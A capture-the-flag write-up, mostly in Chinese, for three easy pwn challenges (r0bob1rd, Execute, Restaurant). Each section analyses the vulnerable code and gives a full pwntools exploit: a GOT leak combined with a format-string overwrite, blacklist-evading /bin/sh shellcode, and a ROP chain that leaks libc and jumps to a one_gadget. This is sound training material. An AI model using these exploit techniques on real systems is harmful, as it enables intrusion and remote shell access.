r0bob1rd#

Difficulty#

EASY

Description#

I am developing a brand new game with robotic birds. Would you like to test my progress so far?

Write-up#

1
unsigned __int64 operation()
2
{
3
  unsigned int v1; // [rsp+Ch] [rbp-74h] BYREF
4
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
5
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]
6

7
  v3 = __readfsqword(0x28u);
8
  printf("\nSelect a R0bob1rd > ");
9
  fflush(stdout);
10
  __isoc99_scanf("%d", &v1);
11
  if ( v1 > 9 )
12
    printf("\nYou've chosen: %s", (const char *)&(&robobirdNames)[v1]);
13
  else
14
    printf("\nYou've chosen: %s", (&robobirdNames)[v1]);
15
  getchar();
16
  puts("\n\nEnter bird's little description");
17
  printf("> ");
18
  fgets(s, 106, stdin);
19
  puts("Crafting..");
20
  usleep(0x1E8480u);
21
  start_screen();
22
  puts("[Description]");
23
  printf(s);
24
  return __readfsqword(0x28u) ^ v3;
25
}

观察到 operation 函数存在几个漏洞：

if ( v1 > 9 ) 没有对 v1 做边界检查，OOB
fgets(s, 106, stdin); BOF
printf(s); 格式化字符串

先看看 robobirdNames 附近有什么东西：

pwndbg> x/a &robobirdNames
0x6020a0 <robobirdNames>: 0x400ce8
pwndbg> x/50gx 0x6020a0-0x100
0x601fa0: 0x0000000000000000 0x0000000000000000
0x601fb0: 0x0000000000000000 0x0000000000000000
0x601fc0: 0x0000000000000000 0x0000000000000000
0x601fd0: 0x0000000000000000 0x0000000000000000
0x601fe0: 0x0000000000000000 0x0000000000000000
0x601ff0: 0x00007ffff7c58f90 0x0000000000000000
0x602000: 0x0000000000601e10 0x00007ffff7e29190
0x602010: 0x00007ffff7c15df0 0x0000000000400766
0x602020 <puts@got.plt>: 0x00007ffff7cb9420 0x0000000000400786
0x602030 <printf@got.plt>: 0x00007ffff7c96c90 0x00007ffff7d17d90
0x602040 <fgets@got.plt>: 0x00000000004007b6 0x00000000004007c6
0x602050 <signal@got.plt>: 0x00007ffff7c77f00 0x00007ffff7cb7340
0x602060 <setvbuf@got.plt>: 0x00007ffff7cb9ce0 0x00007ffff7c980b0
0x602070 <usleep@got.plt>: 0x0000000000400816 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0 <robobirdNames>: 0x0000000000400ce8 0x0000000000400cf2
0x6020b0 <robobirdNames+16>: 0x0000000000400cff 0x0000000000400d0c
0x6020c0 <robobirdNames+32>: 0x0000000000400d18 0x0000000000400d26
0x6020d0 <robobirdNames+48>: 0x0000000000400d30 0x0000000000400d40
0x6020e0 <robobirdNames+64>: 0x0000000000400d4b 0x0000000000400d5b
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100 <stdout@@GLIBC_2.2.5>: 0x00007ffff7e226a0 0x0000000000000000
0x602110 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e21980 0x0000000000000000
0x602120 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e225c0 0x0000000000000000

注意到这个地址下方不远处就是 got 表，因此我们可以通过输入负索引来泄漏它，然后算出 libc 基址。

所以最后思路应该是泄漏 setvbuf，计算出 one_gadget 的地址，再利用格式化字符串漏洞篡改 __stack_chk_fail 为 one_gadget 地址。而为了触发 __stack_chk_fail，我们需要利用 fgets 的 BOF 来破坏 canary.

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    fmtstr_payload,
8
    process,
9
    raw_input,
10
    remote,
11
    u64,
12
)
13

14
FILE = "./r0bob1rd"
15
HOST, PORT = "94.237.122.117", 56995
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20
libc = ELF("./glibc/libc.so.6")
21

22

23
def launch():
24
    if args.L:
25
        target = process(FILE)
26
    else:
27
        target = remote(HOST, PORT)
28
    return target
29

30

31
def main():
32
    target = launch()
33

34
    target.sendlineafter(b"> ", str(-8))
35
    target.recvuntil(b": ")
36

37
    setvbuf = u64(target.recvline().strip().ljust(0x8, b"\x00"))
38
    libc.address = setvbuf - libc.sym["setvbuf"]
39
    one_gadget = libc.address + 0xE3B01
40

41
    fmtstr = fmtstr_payload(
42
        8, {elf.got["__stack_chk_fail"]: one_gadget}, write_size="short"
43
    )
44
    # raw_input("DEBUG")
45
    target.sendlineafter(b"> ", fmtstr.ljust(106, b"\x00"))
46

47
    target.interactive()
48

49

50
if __name__ == "__main__":
51
    main()

Execute#

Difficulty#

EASY

Description#

Can you feed the hungry code?

Write-up#

保护全开，但是栈可执行。

1
// gcc execute.c -z execstack -o execute
2

3
#include <signal.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <unistd.h>
8

9
void setup() {
10
  setvbuf(stdin, NULL, _IONBF, 0);
11
  setvbuf(stdout, NULL, _IONBF, 0);
12
  setvbuf(stderr, NULL, _IONBF, 0);
13
  alarm(0x7f);
14
}
15

16
int check(char *blacklist, char *buf, int read_size, int blacklist_size) {
17
  for (int i = 0; i < blacklist_size; i++) {
18
    for (int j = 0; j < read_size - 1; j++) {
19
      if (blacklist[i] == buf[j])
20
        return 0;
21
    }
22
  }
23

24
  return 1337;
25
}
26

27
int main() {
28
  char buf[62];
29
  char blacklist[] =
30
      "\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67";
31

32
  setup();
33

34
  puts("Hey, just because I am hungry doesn't mean I'll execute everything");
35

36
  int size = read(0, buf, 60);
37

38
  if (!check(blacklist, buf, size, strlen(blacklist))) {
39
    puts("Hehe, told you... won't accept everything");
40
    exit(1337);
41
  }
42

43
  ((void (*)())buf)();
44
}

程序对我们的输入做了一个检查，禁用了一些字节，除此以外没有太多限制。所以思路还是打 shellcode.

关于 mask 的爆破，利用了 a ^ b ^ b = a 的性质。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    asm,
6
    context,
7
    disasm,
8
    log,
9
    p64,
10
    process,
11
    raw_input,
12
    remote,
13
    u64,
14
)
15

16
FILE = "./execute"
17
HOST, PORT = "94.237.54.192", 31583
18

19
context(log_level="debug", binary=FILE, terminal="kitty")
20

21
elf = context.binary
22

23

24
def launch():
25
    if args.L:
26
        target = process(FILE)
27
    else:
28
        target = remote(HOST, PORT)
29
    return target
30

31

32
def main():
33
    target = launch()
34

35
    blacklist = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67")
36
    mask = b""
37
    target_string = u64(b"/bin/sh".ljust(0x8, b"\x00"))
38

39
    for byte in range(0, 0x100):
40
        mask = int(f"{byte:02x}" * 8, 16)
41
        encoded = p64(mask ^ target_string)
42

43
        if all(byte not in blacklist for byte in encoded):
44
            log.success(f"Found mask: {hex(mask)}")
45
            break
46

47
    payload = asm(f"""
48
        mov rax, {mask}
49
        push rax
50
        mov rax, {mask} ^ {target_string}
51
        xor [rsp], rax
52
        mov rdi, rsp
53
        push 0
54
        pop rsi
55
        push 0
56
        pop rdx
57
        mov rbx, 0x3a
58
        inc rbx
59
        mov rax, rbx
60
        syscall
61
    """)
62

63
    log.success(disasm(payload))
64

65
    for byte in payload:
66
        if byte in blacklist:
67
            log.warn(f"Bad byte: {byte:2x}")
68

69
    # raw_input("DEBUG")
70
    target.sendline(payload)
71
    target.interactive()
72

73

74
if __name__ == "__main__":
75
    main()

Restaurant#

Difficulty#

EASY

Description#

Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don’t overdo it..

Write-up#

只提供了 libc，为了 patchelf 还得去找对应 ld：

1
λ ~/Projects/pwn/Restaurant/ strings libc.so.6 | grep "GLIBC"
2
GLIBC_2.2.5
3
GLIBC_2.2.6
24 collapsed lines
4
GLIBC_2.3
5
GLIBC_2.3.2
6
GLIBC_2.3.3
7
GLIBC_2.3.4
8
GLIBC_2.4
9
GLIBC_2.5
10
GLIBC_2.6
11
GLIBC_2.7
12
GLIBC_2.8
13
GLIBC_2.9
14
GLIBC_2.10
15
GLIBC_2.11
16
GLIBC_2.12
17
GLIBC_2.13
18
GLIBC_2.14
19
GLIBC_2.15
20
GLIBC_2.16
21
GLIBC_2.17
22
GLIBC_2.18
23
GLIBC_2.22
24
GLIBC_2.23
25
GLIBC_2.24
26
GLIBC_2.25
27
GLIBC_2.26
28
GLIBC_2.27
29
GLIBC_PRIVATE
30
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.

可以看到使用的是 GLIBC 2.27，通过 glibc-all-in-one 下载 release 版本的 GLIBC，得到对应 ld.

使用以下命令来 patchelf，--set-rpath . 是让它在当前目录下自己找 libc.so.6，我们只要通过 --set-interpreter 设置好动态连接器就行了。

1
sudo patchelf --set-interpreter "$(pwd)/ld-2.27.so" --set-rpath . ./restaurant

这个程序本身没什么复杂的，注意到只有 fill 函数里面的一个 read 存在 BOF，用它构造 ROP Chain 就好了。先泄漏 libc，然后再返回到 fill 二次输入。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import ELF, ROP, args, context, flat, process, raw_input, remote, u64
4

5
FILE = "./restaurant"
6
HOST, PORT = "94.237.60.55", 54861
7

8
context(log_level="debug", binary=FILE, terminal="kitty")
9

10
elf = context.binary
11
rop = ROP(elf)
12
libc = ELF("./libc.so.6")
13

14

15
def launch():
16
    if args.L:
17
        target = process(FILE)
18
    else:
19
        target = remote(HOST, PORT)
20
    return target
21

22

23
def main():
24
    target = launch()
25

26
    # raw_input("DEBUG")
27
    target.sendlineafter(b"> ", str(1))
28

29
    payload = flat(
30
        b"A" * 0x28, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.sym["fill"]
31
    )
32
    target.sendafter(b"> ", payload)
33

34
    target.recvuntil(b"\xa3\x10\x40")
35
    libc.address = u64(target.recv(0x6).strip().ljust(8, b"\x00")) - libc.sym["puts"]
36
    one_gadget = libc.address + 0x10A41C
37

38
    payload = flat(b"A" * 0x28, one_gadget)
39
    target.sendafter(b"> ", payload)
40

41
    target.interactive()
42

43

44
if __name__ == "__main__":
45
    main()